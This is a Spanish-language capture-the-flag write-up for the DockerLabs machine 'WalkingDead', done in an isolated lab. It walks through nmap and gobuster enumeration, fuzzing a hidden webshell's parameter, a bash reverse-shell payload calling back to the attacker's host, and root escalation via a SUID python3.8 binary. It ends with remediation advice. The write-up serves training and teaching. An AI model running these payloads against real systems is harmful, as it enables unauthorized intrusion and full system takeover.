Skip to content

WalkingDead

This content is not available in your language yet.

Este documento presenta la resolución completa de la máquina WalkingDead, desarrollada por JuanR para la plataforma DockerLabs y catalogada con un nivel de dificultad fácil. A lo largo del análisis se siguen etapas bien definidas, abordando desde el reconocimiento inicial hasta la escalada de privilegios, con el fin de comprender de forma clara la lógica de explotación y las vulnerabilidades presentes.

Los objetivos principales de este write-up son:

  • Identificar los vectores de ataque accesibles desde el entorno inicial.
  • Analizar los servicios expuestos y los archivos disponibles públicamente.
  • Obtener acceso inicial mediante la explotación de una vulnerabilidad de inclusión de archivos y ejecución remota de comandos.
  • Acceder al sistema como www-data y posteriormente escalar privilegios mediante la identificación de binarios con permisos SUID.

La metodología se organiza en tres fases principales:

  1. Reconocimiento: Enumeración de servicios, estructura de la web y posibles rutas ocultas.
  2. Explotación: Validación de vulnerabilidades, búsqueda de parámetros, ejecución remota de comandos y obtención de una reverse shell.
  3. Escalada de privilegios: Identificación y abuso de binarios SUID para obtener acceso root.

Todos los procedimientos se realizaron dentro del entorno aislado proporcionado por DockerLabs.


AtributoValor
NombreWalkingDead
AutorJuanR
DificultadFácil
Fecha13/02/2025
PlataformaDockerLabs

Primero se descomprime el archivo de la máquina:

Ventana de terminal
unzip "WalkingDead.zip"

Posteriormente se inicia el contenedor correspondiente:

Ventana de terminal
sudo bash auto_deploy.sh "WalkingDead.tar"

El script devuelve la IP asignada, la cual será utilizada durante todas las fases del análisis.

IP asignada


Se estructura un directorio específico para mantener los recursos ordenados y facilitar la gestión del proceso:

Ventana de terminal
mkdir -p WalkingDead/{content,exploits,nmap,gobuster,scripts}
cd WalkingDead

Se realiza un escaneo completo con Nmap para identificar puertos abiertos:

Ventana de terminal
nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Puertos detectados:

  • 22/tcp — SSH
  • 80/tcp — HTTP

Puertos abiertos


Se realiza una enumeración de directorios utilizando Gobuster:

Ventana de terminal
gobuster dir \
-u http://172.18.0.2/ \
-w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt \
-x php,html,txt,js \
-t 200

gobuster scan

Entre los resultados relevantes se encuentran:

  • /index.html — Página principal del CTF. index.php content
  • /backup.txt — Archivo que indica permisos restringidos.
  • /hidden — Directorio oculto que no responde directamente al acceder.

Analizando el código fuente de la página principal se identifica un enlace oculto hacia un archivo ejecutable dentro del directorio /hidden/.shell.php, lo cual sugiere la posible existencia de una webshell.

comment


Dado que se detectó un posible archivo .shell.php, el siguiente paso consiste en determinar el parámetro utilizado para ejecutar comandos. Esto se realiza mediante fuzzing con ffuf:

Ventana de terminal
ffuf -u "http://172.17.0.2/hidden/.shell.php?FUZZ=id" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-fs 0

ffuf result

La herramienta identifica el parámetro cmd, confirmando la presencia de una webshell funcional.

Probando la ejecución remota de comandos:

http://172.17.0.2/hidden/.shell.php?cmd=id

webshell result

Una vez verificada la ejecución de comandos, se procede a obtener una reverse shell. Para ello:

  1. Se inicia un listener en Kali:

    Ventana de terminal
    nc -nlvp 443
  2. Se ejecuta la siguiente payload mediante la webshell:

    http://172.17.0.2/hidden/.shell.php?cmd=bash -c 'bash -i >%26 /dev/tcp/172.17.0.1/443 0>%261'

Esto establece una conexión inversa hacia nuestro equipo, obteniendo acceso como el usuario www-data.

reverseshell connect


Aunque el comando:

Ventana de terminal
sudo -l

no revela permisos especiales, es posible encontrar binarios con el bit SUID activado, lo que permite ejecutarlos con privilegios elevados:

Ventana de terminal
find / -perm -4000 2>/dev/null

find result

Entre los binarios encontrados destaca:

/usr/bin/python3.8

Python es un binario particularmente útil para escaladas de privilegios gracias a su capacidad de ejecutar llamadas al sistema. Para obtener una shell con privilegios:

Ventana de terminal
/usr/bin/python3.8 -c 'import os; os.execl("/bin/bash", "bash", "-p")'

Esto proporciona acceso como root:

root access


  • Presencia de archivos ocultos ejecutables expuestos públicamente.
  • Falta de validación de parámetros, permitiendo ejecución remota de comandos (RCE).
  • Configuración insegura en directorios accesibles desde la web.
  • Binarios SUID innecesarios, específicamente Python3.8, permitiendo escalada directa a root.

  • Eliminar archivos innecesarios o sensibles del entorno de producción.
  • Implementar validación estricta de parámetros en aplicaciones web.
  • Configurar adecuadamente permisos de archivos y directorios.
  • Evitar mantener binarios SUID que no sean estrictamente necesarios para el funcionamiento del sistema.
  • Aplicar monitoreo y hardening del servidor para prevenir RCE y accesos no autorizados.